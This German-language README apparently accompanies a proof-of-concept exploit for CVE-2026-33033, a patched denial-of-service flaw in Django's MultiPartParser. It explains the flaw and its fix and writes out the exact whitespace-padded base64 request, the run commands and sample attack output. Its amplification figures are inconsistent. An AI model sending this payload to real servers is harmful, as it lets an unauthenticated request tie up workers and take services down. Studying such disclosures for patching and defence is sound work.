
Proof-of-Concept-Exploit für CVE-2026-33033, eine Denial-of-Service-Schwachstelle in Djangos MultiPartParser über CPU-Verstärkung durch Base64-Leerzeichen, die eine etwa 800-fache Verstärkung mit einer einzigen HTTP-Anfrage demonstriert.
Denial-of-Service durch Base64-Leerzeichen-CPU-Amplifikation in Djangos MultiPartParser
Eine einzelne 2,5 MB große HTTP-Anfrage kann einen Django-Worker für ~5 Sekunden blockieren und erreicht damit eine ~2.100-fache CPU-Amplifikation im Vergleich zu einer normalen Anfrage gleicher Größe. Es ist keine Authentifizierung erforderlich.
Diese Schwachstelle wurde im Django 6.0.4-Sicherheitsrelease (7. April 2026) behoben, zusammen mit Backports für alle unterstützten Branches.
| Branch | Betroffen | Behoben |
|---|
| Django 6.0.x | <= 6.0.3 | 6.0.4 |
| Django 5.2.x | <= 5.2.11 | 5.2.12 |
| Django 5.1.x | <= 5.1.x | 5.1.16 |
| Django 5.0.x | <= 5.0.14 | 5.0.15 |
| Django 4.2.x | <= 4.2.28 | 4.2.29 |
CVE-2026-33033: Potenzielle Denial-of-Service-Schwachstelle in
MultiPartParserdurch Base64-kodierte Datei-Uploads (Schweregrad: Mittel)Bei Verwendung von
django.http.multipartparser.MultiPartParserkönnen Multipart-Uploads mitContent-Transfer-Encoding: base64, die übermäßige Leerzeichen enthalten, wiederholte Speicherkopien auslösen und dadurch möglicherweise die Leistung beeinträchtigen.
| CVE | Schweregrad | Beschreibung |
|---|---|---|
| CVE-2026-3902 | Niedrig | ASGI-Header-Spoofing durch Unterstrich/Bindestrich-Vermischung |
| CVE-2026-4277 | Niedrig | Privilegienmissbrauch in GenericInlineModelAdmin |
| CVE-2026-4292 | Niedrig | Privilegienmissbrauch in ModelAdmin.list_editable |
| CVE-2026-33034 | Niedrig | Umgehung des ASGI-Speicher-Upload-Limits durch fehlenden Content-Length |
Djangos MultiPartParser verfügt über einen speziellen Codepfad für die Verarbeitung von Dateiteilen mit Content-Transfer-Encoding: base64. Nach dem Entfernen von Leerzeichen aus jedem Chunk wird, falls das Ergebnis nicht auf ein Vielfaches von 4 Bytes ausgerichtet ist, eine While-Schleife aufgerufen, die field_stream.read(1) verwendet, um zusätzliche Bytes einzeln abzurufen.
Wenn der Dateibody fast vollständig aus Leerzeichen besteht, wird jedes abgerufene Byte zu nichts reduziert, sodass die Schleife fortfährt — mit einem read(1)-Aufruf pro Leerzeichen-Byte. Der entscheidende Punkt ist, dass jeder read(1)-Aufruf weitaus teurer ist, als es scheint:
Ebene 1: Die Base64-Ausrichtungsschleife ruft read(1) pro Leerzeichen-Byte auf
|
Ebene 2: LazyStream.read(1) holt den gesamten Rest (~64 KB), schneidet 1 Byte ab,
gibt ~64 KB - 1 zurück --> O(C) Byte-Kopie pro Aufruf
|
Ebene 3: unget() führt self._leftover = bytes + self._leftover aus
und erstellt dabei jedes Mal ein neues bytes-Objekt --> memcpy von ~C Bytes
Pro 64-KB-Chunk bildet die Kopierarbeit eine arithmetische Reihe:
Gesamt = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2,15 Milliarden Byte-Operationen
Für eine 2,5-MB-Eingabe (~40 Chunks): ~86 Milliarden Bytes an memcpy-Arbeit aus einer einzigen HTTP-Anfrage.
Django enthält _update_unget_history(), das SuspiciousMultipartForm auslöst, wenn dieselbe Byteanzahl 40+ Mal in 50 Operationen zurückgegeben wird. Bei diesem Angriff sind die unget-Größen jedoch monoton abnehmend (65535, 65534, 65533, ...), sodass jede Größe einzigartig ist und die Prüfung niemals ausgelöst wird.
Die CSRF-Middleware greift auf request.POST zu, bevor eine View ausgeführt wird, sodass selbst Endpunkte, die 403 zurückgeben, die vollständigen Parsing-Kosten verursachen.
CVE-2026-33033-PoC/
├── README.md # Diese Datei
├── LICENSE
├── requirements.txt # Python-Abhängigkeiten
├── exploit.py # Exploit-Skript
└── victim/ # Verwundbarer Django-Server
├── manage.py
├── uwsgi.ini # uWSGI-Bereitstellungskonfiguration
└── victim/
├── __init__.py
├── settings.py # Django-Standardeinstellungen (keine spezielle Konfiguration nötig)
├── urls.py # /upload- und /health-Endpunkte
└── wsgi.py
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Option A: Django-Entwicklungsserver (am schnellsten)
cd victim
python manage.py runserver 0.0.0.0:8000
Option B: uWSGI (realistischer — verwendet 4 Worker)
cd victim
uwsgi --ini uwsgi.ini
In einem separaten Terminal:
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload
Optionen:
| Flag | Standard | Beschreibung |
|---|---|---|
--target | http://127.0.0.1:8000/upload | Ziel-Upload-Endpunkt |
--size | 2621440 (2,5 MB) | Payload-Größe in Bytes |
--rounds | 3 | Anzahl der Angriffsrunden |
============================================================
CVE-2026-33033 PoC
Denial-of-Service durch Base64-Leerzeichen-CPU-Amplifikation
in Django MultiPartParser
============================================================
Ziel: http://127.0.0.1:8000/upload
Payload-Größe: 2.621.440 Bytes (2,5 MB)
Runden: 3
[*] Prüfe Server-Status...
[+] Server ist erreichbar.
------------------------------------------------------------
[*] Phase 1: Sende BENIGNE Anfrage (normale Base64-Daten)
------------------------------------------------------------
Status: 200
Zeit: 5,55 ms
------------------------------------------------------------
[*] Phase 2: Sende BÖSARTIGE Anfragen (Base64 + Leerzeichen)
------------------------------------------------------------
Runde 1/3:
Status: 200
Zeit: 4571,12 ms
...
============================================================
ERGEBNISSE
============================================================
Benigne Anfrage: 5,55 ms
Angriffsdurchschnitt: 4571,12 ms (über 3 Runden)
Amplifikation: 823x
[!] VERWUNDBAR: Durchschnittliche Angriffszeit übersteigt 1 Sekunde.
Eine einzelne 2,5-MB-Anfrage blockiert einen Worker für ~4,6 s.
Mit 4 Workern können bereits 4 gleichzeitige Anfragen den Server DoS-en.
Der Exploit konstruiert einen multipart/form-data-POST-Body mit einem einzelnen Dateiteil:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552
------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
AAA<2.621.433 Leerzeichen>A
------CVE2026-33033--
AAA macht stripped_chunk = b"AAA" (3 Bytes), sodass remaining = 3 % 4 = 3 ist.field_stream.read(1) auf, um 1 weiteres Byte für die Ausrichtung zu holen.b"".join(b" ".split()) == b""), sodass remaining = 3 bleibt.LazyStream.read(1)-Aufruf kopiert intern ~64 KB über den unget-Mechanismus.django/http/multipartparser.py, Zeilen 302-325 (Django 5.0.x):
for chunk in field_stream:
if transfer_encoding == "base64":
stripped_chunk = b"".join(chunk.split())
remaining = len(stripped_chunk) % 4
while remaining != 0:
over_chunk = field_stream.read(4 - remaining) # <-- read(1)
if not over_chunk:
break
stripped_chunk += b"".join(over_chunk.split()) # reduziert zu leer
remaining = len(stripped_chunk) % 4 # bleibt bei 3
Der Fix (angewendet in Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29) ersetzt die byteweise read(1)-Schleife durch ein Bulk-read(self._chunk_size):
- stripped_chunk = b"".join(chunk.split())
+ stripped_parts = [b"".join(chunk.split())]
+ stripped_length = len(stripped_parts[0])
- remaining = len(stripped_chunk) % 4
- while remaining != 0:
- over_chunk = field_stream.read(4 - remaining)
+ while stripped_length % 4 != 0:
+ over_chunk = field_stream.read(self._chunk_size)
if not over_chunk:
break
- stripped_chunk += b"".join(over_chunk.split())
- remaining = len(stripped_chunk) % 4
+ over_stripped = b"".join(over_chunk.split())
+ stripped_parts.append(over_stripped)
+ stripped_length += len(over_stripped)
+
+ stripped_chunk = b"".join(stripped_parts)
Wichtigste Änderungen:
read(4 - remaining) → read(self._chunk_size) — liest 64 KB auf einmal statt 1-3 Bytes, wodurch die read-Aufrufe von ~2,5 Millionen auf ~40 reduziert werden.stripped_chunk += ... → stripped_parts.append(...) + finales b"".join() — vermeidet potenzielle quadratische Bytes-Verkettung.len(stripped_chunk) % 4 → stripped_length-Zähler — vermeidet redundante Längenberechnung.Dieser Proof-of-Concept dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Verwenden Sie ihn verantwortungsvoll und nur gegen Systeme, die Sie besitzen oder für die Sie eine ausdrückliche Testgenehmigung haben.
Apache License 2.0 — siehe LICENSE.